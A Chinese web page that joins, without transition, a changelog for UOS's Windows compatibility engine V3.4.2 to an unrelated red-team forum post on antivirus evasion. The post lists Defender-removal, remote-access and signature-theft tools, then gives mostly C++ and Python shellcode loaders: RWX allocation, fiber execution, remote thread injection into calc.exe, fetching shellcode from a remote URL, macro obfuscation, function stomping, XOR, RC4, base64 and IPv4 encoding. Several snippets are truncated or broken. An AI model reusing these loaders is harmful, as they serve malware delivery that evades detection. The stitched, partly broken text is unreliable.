标签 PE文件 下的文章

统信Windows应用兼容引擎 V3.4.2 更新日志
【优化】高级调试-组件安装内增加组件介绍
【优化】支持直接打开日志文件
【优化】投递应用时exe下载链接的预设文案
【优化】外显了每个专区内收录的应用数量组件安装增加详细介绍之前有人吐槽,高级调试-组件安装当中的组件都是英文的,能不能提供中文名称?

这些组件的名称本来就是英文的,没有中文名称,比如“JAVA”就是“JAVA”,“mono”就是“mono”,它没有中文名称,强行翻译成中文反而不方便大家去查询使用,但是我们可以给这些组件添加中文的介绍说明,告诉大家这些组件是干什么的,方便大家进行wine调试和研究:可以了解到wine应用一般都会安装什么组件解决什么问题,调试运行的时候需要解决什么问题,也可以去组件里搜索进行组件安装尝试。

图片
直接打开调试日志文件高级调试-调试日志窗口处进行了一个微小的优化,将“打开日志”的行为从“打开日志所在文件”调整为“打开日志文件”。之前的版本当中,“打开日志”功能是打开日志所在文件夹,需要用户使用其他工具来打开日志文件,多了一步流程,而且查看日志的效果受到默认打开日志文件工具的影响。

图片
兼容引擎本质上是一个工具型的应用,工具型应用是要注重效率问题的,随着收到大家越来越多的应用投递和应用适配申请,在进行应用wine适配时,需要频繁的进行应用调试和查看日志,缩短打开日志的路径以及更方便的审查日志,可以极大的提高wine适配效率,基于上述实际使用场景,将“打开日志”的行为从“打开日志所在文件”调整为“打开日志文件”,用来打开日志文件的工具是deepin-wine团队日常使用的日志分析工具,大家有好的想法也可以给我们提建议。

图片
优化exe下载链接引导文案在投递应用时,填写exe文件下载链接的引导文案调整为“请提供链接用于复测,官方链接优先采用”。

图片
这个优化点很小,但却是需要大家认真关注的一个地方。一些应用程序是否能成功wine是与其版本号有强关联的,因此兼容引擎在提供wine应用数据库的时候着重强调了exe文件的版本号,大家在投递wine应用的时候一定要投递准确的应用版本,并且尽量提供软件官方的下载链接,方便审核人员下载应用可以加速审核。外显各应用专区内收录的软件数量自2025年5月21日上线“全部应用”模块后,经过deepin社区多次wine众测活动,在deepin-wine团队和各位爱好者们的共同努力建设下,目前兼容引擎已经收录了超过 3800+款应用。

图片
为了控制应用投递的质量,目前兼容引擎的应用投递功能做了诸多限制,对于最重要的“应用名称”和“应用版本号”信息采用直接读取PE文件信息的策略,不允许自定义修改。同时为了防止恶意代码注入之类的风险,各字段的数据传输做了严格限制,因此一些打包不规范的exe文件、有风险的链接格式和字符可能导致无法投递。

第一次发帖,大部分内容引用了许多大佬们的文章连接和代码,20% 是引用,80% 均为个人理解

希望红队的 XDM 早日在攻防与 APT 中取得精彩成绩

本文章分为很多篇章,由于太长我将抽时间一篇一篇的发布

一、资源

搞免杀得多学习一下新颖的技术和了解一些常用的社区平台

1、沙箱

virustotal:https://www.virustotal.com

某 60 沙盒:https://ata.360.net/

微步沙盒:https://s.threatbook.com/

奇安信沙盒:https://sandbox.ti.qianxin.com/sandbox/page

腾讯哈勃:https://habo.qq.com/

FreeBuf:https://sandbox.vulbox.com/detect?theme=vulbox

yara:https://github.com/VirusTotal/yara/releases

逆向环境虚拟机:

https://github.com/indetectables-net/toolkit

做免杀推荐断网开发,移除 defender

https://github.com/ionuttbara/windows-defender-remover

如果要上传沙箱建议使用本地沙箱,具体就不举例了


2、工具资源

CS 资源:https://github.com/zer0yu/Awesome-CobaltStrike

免杀手法:http://web.archive.org/web/20240531035548/https://cmn.cool/docs/Maldevacademy/

免杀手法:https://github.com/g1oves2ali/anti-anti-virus

免杀手法:https://github.com/xf555er/AntiAntiVirusNotes

巨龙拉登:https://github.com/k8gege/Ladon

欧拉:https://github.com/d3ckx1/OLa

upx 加壳:https://github.com/upx/upx/releases

反弹 shell 免杀:https://github.com/emrekybs/nim-shell

py 生成 php 免杀 webshell:https://github.com/xzajyjs/Anti-Virus-PHP

DcRat 远控:https://github.com/qwqdanchun/DcRat

DcRat 汉化版 (类似于 CS 的远控)https://github.com/sysrom/DcRatCHS

数字签名工具 (GUI)https://github.com/INotGreen/SharpThief

数字签名工具 (可签 dll):https://github.com/langsasec/Sign-Sacker

PE 资源编辑工具 (restorator2018):https://www.52pojie.cn/thread-752217-1-1.html

二、C++ 免杀基础

建议采用 64 位 PE 做免杀,因为 64 位 PE 具备很多 32 位不具备的 WINAPI 函数和系统调用,这样 3 环的规避性可以大大提升,从而转移到内核对抗

同时 32 位的空代码编译出来放进 virustotal 存在的误报会更多一些,为什么 x86 的误报比 x64 高?

这是因为 x86 使用了 wow64,大多数函数调用和默认编译器的静态链接会更多一些,某些字符串和导入函数更多,即使没有恶意代码也会增大文件的熵值

关于虚拟机测 antivirus 看这里,虚拟机可以克隆链,然后记得关上传样本,不然刚入门你会被标记到吐血

https://cloud.tencent.com/developer/article/2 某 60993

注意:目前我已经没有使用任何公开的 C2 了,基本都是从 0 重构或者采用优秀的 C2 架构全模块重构,但是后面的内容是一定要看的,无论是武器化开发还是简单的绕绕 antivirus 产品,后面的内容是必经之路

1、程序的纯净化

1.VS 编译配置

编译器配置,这一步切记不可少,否则 64 位空代码直接飙到 6/71,因为 vs 默认编译是会留下特征的,想要做好免杀必须得清除编译的特征,最重要的就是调试信息得关闭!!!

参考:https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw

md 模式的程序是读的系统的 msvcrt.dll,生成的文件体积会小很多,因此报毒概率会小很多,但不是所有的 windows 都有 msvcrt.dll,因此如果要兼容效果,就必须要牺牲一定的报毒率。

调试信息会在 EXE 中带上你的编译路径,建议关闭

2.CRT 库删除

经过上面所说的配置以后,你会发现编译的普通 hello world 的 exe 的导入表还是存在无关的函数

CRT(即 C 运行时库)是 C 编程语言的标准接口。CRT 包含函数和宏的集合。为标准 C 和 C++ 程序提供基本功能。它包括内存管理函数(如 malloc、memset 和 free)、字符串操作函数(如 strcpy 和 strlen)和 I/O 函数(如 printf、wprintf 和 scanf)。

CRT DLL 文件名为 vcruntimeXXX.dll,其中 XXX 是正在使用的 CRT 库的版本号。还有 api-ms-win-crt-stdio-l1-1-0.dll、api-ms-win-crt-runtime-l1-1-0.dll 和 api-ms-win-crt 等 DLL 文件 - locale-l1-1-0.dll,也链接到 CRT 库。这些 DLL 中的每一个都执行特定的功能并导出多个函数。这些 DLL 文件在编译时由编译器链接,因此可以在生成的程序的导入表 (IAT) 中找到。

Hello World” 程序的 IAT 应该仅导入有关 printf 函数的信息,但它导入了以下函数

我们将多线程 MD 改为 MT

改完后 CRT 库消失了,但是导出函数更加多了


2、基础上线

1.VirtualAlloc 申请内存

内存有很多种属性,下面是利用 VirtualAlloc 申请 RWX 内存空间,大小为 shellcode 大小

memcpy 是将 shellcode 存放进入该内存空间,最后以指针的方式标记为函数去执行内存中的 shellcode

这里需要大家去学习基本的 PE 文件结构、RVA、VA 等知识才能清晰认识到什么是内存

#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 unsigned char shellcode[] = "\x48....";

void main(){
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

隐藏窗口

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 

对于 stagless (完整型负荷) 如果 shellcode 太长,vs 编译器截断报错可以写到头文件中,再把 char 类型转为 string 类型

#include <iostream> #include <string> int main(){
    unsigned char hexData[434706] = { /* 你的数据 */ };
    std::string strData(reinterpret_cast<const char*>(hexData), sizeof(hexData));
    return 0;
}

2.HeapAlloc 申请内存

HeapAlloc 往往优势在于开辟的内存都是不可执行的,在堆中开辟,所以可以绕过许多内存监控

LPVOID Memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, shellcode.size() + 1);
memcpy(Memory, shellcode, sizeof(shellcode));

DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)Memory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);

((void(*)())Memory)();

3. 纤程

#include <windows.h> void like(){
    
    unsigned char data[] = "\x48...";

    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, data, sizeof(data));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main(){
    like();
}

4. 远程线程注入 (CreateRemoteThread)

https://www.freebuf.com/articles/system/228233.html

原理就是打开无害的 calc.exe 也就是计算器,对计算器 (calc.exe) 进行 shellcode 注入

提示“stdafx.h”: No such file or directory?其实stdafx.h就是studio.h和tchar.h
#include <stdio.h> #include <tchar.h> 
#include <Windows.h> #include <stdio.h> #include <tchar.h> #include "iostream" //隐藏运行程序时的cmd窗口 #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;

//使用CS或msf生成的C语言格式的上线shellcode unsigned char shellcode[] = "\x48...";

BOOL injection()
{
    wchar_t Cappname[MAX_PATH] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    DWORD dwExitCode;
    BOOL bRet = FALSE;

    //把基地址设置为自己shellcode数组的起始地址
    lpMalwareBaseAddr = shellcode;

    //获取系统路径,拼接字符串找到calc.exe的路径
    GetSystemDirectory(Cappname, MAX_PATH);
    _tcscat(Cappname, L"\\calc.exe");

    //打印注入提示 // printf("被注入的程序名:%S\r\n", Cappname);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //创建calc.exe进程 if (CreateProcess(Cappname, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
        , NULL, NULL, &si, &pi) == 0)
    {
        return bRet;
    }
    //在
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
        , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (lpnewVictimBaseAddr == NULL)
    {
        return bRet;
    }
    //远程线程注入过程
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,
        (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    TerminateProcess(pi.hProcess, 0);
    return bRet;
}

void help(char* proc)
{
   // printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}

int main(int argc, char* argv[])
{
    help(argv[0]);
    injection();
}

5. 云端读取代码

shellcode 可以存放进入云端,并不局限于本地

#include <iostream> #include <string> #include <stdexcept> #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") std::string getWebPageContent(const std::string& url){
    HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

    HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);

    std::string result;
    constexpr DWORD bufferSize = 4096;
    char buffer[bufferSize];
    DWORD bytesRead = 0;
    while (InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) {
        result.append(buffer, bytesRead);
    }

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return result;
}

int main(){
    std::string url = "http://xxx.com";
    std::string content = getWebPageContent(url);
    std::cout << "Web page content:\n" << content << std::endl;
    return 0;
}

6. 宏上线

宏 VB 免杀:https://github.com/outflanknl/EvilClippy

VS 打开终端输入下面命令生成 EXE 即可

csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs

将 CS 生成的 VBA 与不免杀的 hong.doc 混合

evilclippy.exe -s sb.vba hong.doc

切记生成使用 1997 年版本的 doc,否则报错

使用 -s 参数通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的 vba 脚本,以下

Sub Hello()

Dim X

X=MsgBox("hello world!")

7. 函数篡改上线

本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用 VirtualAlloc 等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其 shellcode 内存区域执行。

#include <stdio.h> #include <Windows.h> unsigned char shellcode[] = {    0xFC, , ....};
int main(){    
    PVOID pAddress = NULL;
    DWORD dwOldProtection = NULL;
    HANDLE hthread = NULL;
    HMODULE hm = GetModuleHandleA("kernel32.dll");
    
    pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pAddress, shellcode, sizeof(shellcode));
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
    hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    
    if (hthread != NULL){
        WaitForSingleObject(hthread, INFINITE);
        printf("1231231321");}

3、加密上线

1). 异或

异或既简单也不敏感 (前提是你的异或 key 要长)

#include <iostream> #include <windows.h> using namespace std;

void main(){
    unsigned char shellcode[] = "";
    int len_shellcode = 927;
    for (int i = 0; i < len_shellcode; i++)
    {
        shellcode[i] ^= ;
    }
    for (int i = 0; i < len_shellcode; i++)
    {
        cout << R"(\x)" << hex << (int)(unsigned)shellcode[i];
    }

}
#include <iostream> #include <windows.h> using namespace std;

void main(){
    unsigned char shellcode[] = "";
    for (int i = 0; i < sizeof(shellcode); i++)
    {
        shellcode[i] ^= ;
    }
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

也可以等 shellcode 加载进内存后再做异或更为安全

VOID Xor(PBYTE pbBuffer, SIZE_T dwSize){
	const char szKey[] = {, , , , , , , , , , , , , , , };
	for (int i = 0; i < dwSize; i++) {
		*(pbBuffer + i) ^= szKey[i % sizeof szKey];
	}
}

...
memcpy(lpMem, shellcode.data(), shellcode.size());
Xor((PBYTE)lpMem, dwSize);
    ..............

2).RC 加密

https://blog.csdn.net/m0_51345235/article/details/132793196

#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };

int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
	int i = 0, j = 0;

	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}

	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;
}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main(){
	char key[] = "hhh";
	unsigned char buf[] =
		"encrypt_shellcode";

	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
		printf("\\x%02x", buf[i]);
	}
}

https://blog.csdn.net/m0_51345235/article/details/132793196

#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
	int i = 0, j = 0;

	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}

	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;
}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main(){
	char key[] = "hhh";
	unsigned char buf[] =
		"\x3802";

	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
	}
	LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(add, buf, sizeof(buf));
	HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
	WaitForSingleObject(handle, INFINITE);
	return 0;
}

3).BASE64 + 异或

import base64
with open("payload.bin","rb") as f:
    all=f.read()
    array=[]
    for i in all:
        array.append(i^8)
    #print(bytearray(array)) print(base64.b64encode(bytearray(array)))
#include "base64.h" #include <algorithm> #include <stdexcept> static const char* base64_chars[2] = {
			 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/",

			 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" };

static unsigned int pos_of_char(const unsigned char chr){

	if (chr >= 'A' && chr <= 'Z') return chr - 'A';
	else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
	else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
	else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else throw std::runtime_error("Input is not valid base64-encoded data.");
}

static std::string insert_linebreaks(std::string str, size_t distance){
	if (!str.length()) {
		return "";
	}

	size_t pos = distance;

	while (pos < str.size()) {
		str.insert(pos, "\n");
		pos += distance + 1;
	}

	return str;
}

template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s){
	return insert_linebreaks(base64_encode(s, false), line_length);
}

template <typename String>
static std::string encode_pem(String s){
	return encode_with_line_breaks<String, 64>(s);
}

template <typename String>
static std::string encode_mime(String s){
	return encode_with_line_breaks<String, 76>(s);
}

template <typename String>
static std::string encode(String s, bool url){
	return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}

std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url){

	size_t len_encoded = (in_len + 2) / 3 * 4;

	unsigned char trailing_char = url ? '.' : '=';
	const char* base64_chars_ = base64_chars[url];

	std::string ret;
	ret.reserve(len_encoded);

	unsigned int pos = 0;

	while (pos < in_len) {
		ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);

		if (pos + 1 < in_len) {
			ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & ) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);

			if (pos + 2 < in_len) {
				ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & ) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
				ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & ]);
			}
			else {
				ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & ) << 2]);
				ret.push_back(trailing_char);
			}
		}
		else {

			ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & ) << 4]);
			ret.push_back(trailing_char);
			ret.push_back(trailing_char);
		}

		pos += 3;
	}


	return ret;
}

template <typename String>
static std::string decode(String encoded_string, bool remove_linebreaks){

	if (encoded_string.empty()) return std::string();

	if (remove_linebreaks) {

		std::string copy(encoded_string);

		copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());

		return base64_decode(copy, false);
	}

	size_t length_of_string = encoded_string.length();
	size_t pos = 0;

	size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
	std::string ret;
	ret.reserve(approx_length_of_decoded_string);

	while (pos < length_of_string) {
		size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]);
		ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & ) >> 4)));

		if ((pos + 2 < length_of_string) &&
			encoded_string[pos + 2] != '=' &&
			encoded_string[pos + 2] != '.'
			)
		{
			unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]);
			ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & ) << 4) + ((pos_of_char_2 & ) >> 2)));

			if ((pos + 3 < length_of_string) &&
				encoded_string[pos + 3] != '=' &&
				encoded_string[pos + 3] != '.'
				)
			{
				ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & ) << 6) + pos_of_char(encoded_string[pos + 3])));
			}
		}

		pos += 4;
	}

	return ret;
}

std::string base64_decode(std::string const& s, bool remove_linebreaks){
	return decode(s, remove_linebreaks);
}

std::string base64_encode(std::string const& s, bool url){
	return encode(s, url);
}

std::string base64_encode_pem(std::string const& s){
	return encode_pem(s);
}

std::string base64_encode_mime(std::string const& s){
	return encode_mime(s);
}

#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url){
	return encode(s, url);
}

std::string base64_encode_pem(std::string_view s){
	return encode_pem(s);
}

std::string base64_encode_mime(std::string_view s){
	return encode_mime(s);
}

std::string base64_decode(std::string_view s, bool remove_linebreaks){
	return decode(s, remove_linebreaks);
}

#endif // __cplusplus >= 201703L 
#pragma once const int XOR_KEY{ 8 };
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include <string> #if __cplusplus >= 201703L #include <string_view> #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);

std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);

#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);

std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ 
#include <windows.h> #include <stdio.h> #include "base64.h" #include <string> #include <random> #include <vector> using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

string rest2_reference = "xxx";


void runShellcode(LPVOID param){
    auto func = ((void(*)())param);
    func();
}

void main(){
    string rest2_decoded = base64_decode(rest2_reference);
    const char* S = rest2_decoded.c_str();
    vector<uint8_t> shellcode;
    for (int j = 0; j < rest2_decoded.length(); j++) {
        shellcode.push_back(S[j] ^ XOR_KEY);
    }
    auto alloc = ::VirtualAlloc(
        NULL,
        shellcode.size() + 1,
        MEM_COMMIT,
        PAGE_READWRITE
    );
    memcpy(alloc, shellcode.data(), shellcode.size());
    DWORD old;
    VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);

    shellcode.clear();//清空vector<uint8_t>shellcode HandlePtr thread(NULL, &::CloseHandle);
    thread.reset(::CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)runShellcode,
        alloc,
        0,
        0
    ));
    WaitForSingleObject(thread.get(), INFINITE);
}
std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace){
    std::string str = inStr;
    std::string::size_type stStart = 0;
    std::string::iterator iter = str.begin();
    while (iter != str.end())

    {
        std::string::size_type st = str.find(pSrc, stStart);

        if (st == str.npos)

        {
            break;
        }

        iter = iter + st - stStart;
        str.replace(iter, iter + strlen(pSrc), pReplace);
        iter = iter + strlen(pReplace);
        stStart = st + strlen(pReplace);
    }

    return str;

}

4). 普通分离上线

生成 raw 格式的 payload.bin,重心是这个是通过传参来加载的,配合 shellcode 免杀往往效果比较棒

ReadFile(File, exec, Size, &ReadSize, NULL);

这里使用 ReadFile 的形式将 shellcoce 给 copy 到内存中

#include<Windows.h> int main(int argc, char* argv[]){
    DWORD Size;
    DWORD ReadSize;
    HANDLE File;
    File = CreateFileA(argv[1], GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (File == INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    Size = GetFileSize(File, NULL);
    void* exec = VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    ReadFile(File, exec, Size, &ReadSize, NULL);
    ((void(*)())exec)();
}

5). 放入内存再解密

很多 antivirus 会监控你的解密函数,如果是先解密再 memcpy 到内存,很有可能这一步就给你马子干掉了


4、白名单上线 / 回调函数

所有回调函数手法:https://github.com/aahmad097/AlternativeShellcodeExec

1).IPV4

将 shellcode 转 ipv4 地址并利用回调函数上线,现在这玩意已经玩烂了,antivirus 还是能应对,但重心是利用回调函数去执行内存中的 shellcode,关于更多回调利用手法可以看上面

import ipaddress


buf = b'''...''' # shellcode def convertToIPV4(shellcode):
    if len(shellcode)%4 !=0:
        print("\n[*] length:",len(shellcode)+(4-(len(shellcode)%4)))
        addNullbyte = b"\x00" * (4-(len(shellcode)%4))
        shellcode += addNullbyte

    ipv4 = []
    for i in range(0, len(shellcode), 4):
        ipv4.append(str(ipaddress.IPv4Address(shellcode[i:i+4])))
    return ipv4


if __name__ == '__main__':
    r = convertToIPV4(buf)
    print(str(r).replace("'","\""))

#include <Windows.h> #include <iostream> #include <ip2string.h> #pragma comment(lib, "Ntdll.lib") //  shellcode -> ipv4 const char* ipv4[] =
{
"252.72.131.228", "240.232.200.0", ...";

for (int i = 0; i < elems; i++) {

if (RtlIpv4StringToAddressA(ipv4[i], FALSE, &Terminator, (in_addr*)hptr) == STATUS_INVALID_PARAMETER)
{
printf("
ERROR!");
return 0;
}
hptr += 4;
}

// EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
// EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
// EnumWindows((WNDENUMPROC)ha, 0);
// EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
// EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
// EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
// EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
// EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
// EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
// EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
// EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
// EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);
// CloseHandle(ha);
return 0;
}

2).SystemFunction033

https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/#more-4293

#include <windows.h> #include <stdio.h> typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer)
; struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main(){ printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n"); _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "yourkey"; unsigned char shellcode[] = { , ... }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); printf("\nunsigned char shellcode[] = { "); for (size_t i = 0; i < _data.Length; i++) { if (!(i % 16)) printf("\n "); printf("0x%02x, ", _data.Buffer[i]); if(i == _data.Length-1) printf("0x%02x };", _data.Buffer[i]); } }
#include <windows.h> /*
* RC4 Shellcode Decrypter using Systemfunction032/033
* Coded by: @OsandaMalith - www.osandamalith.com
*/
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer)
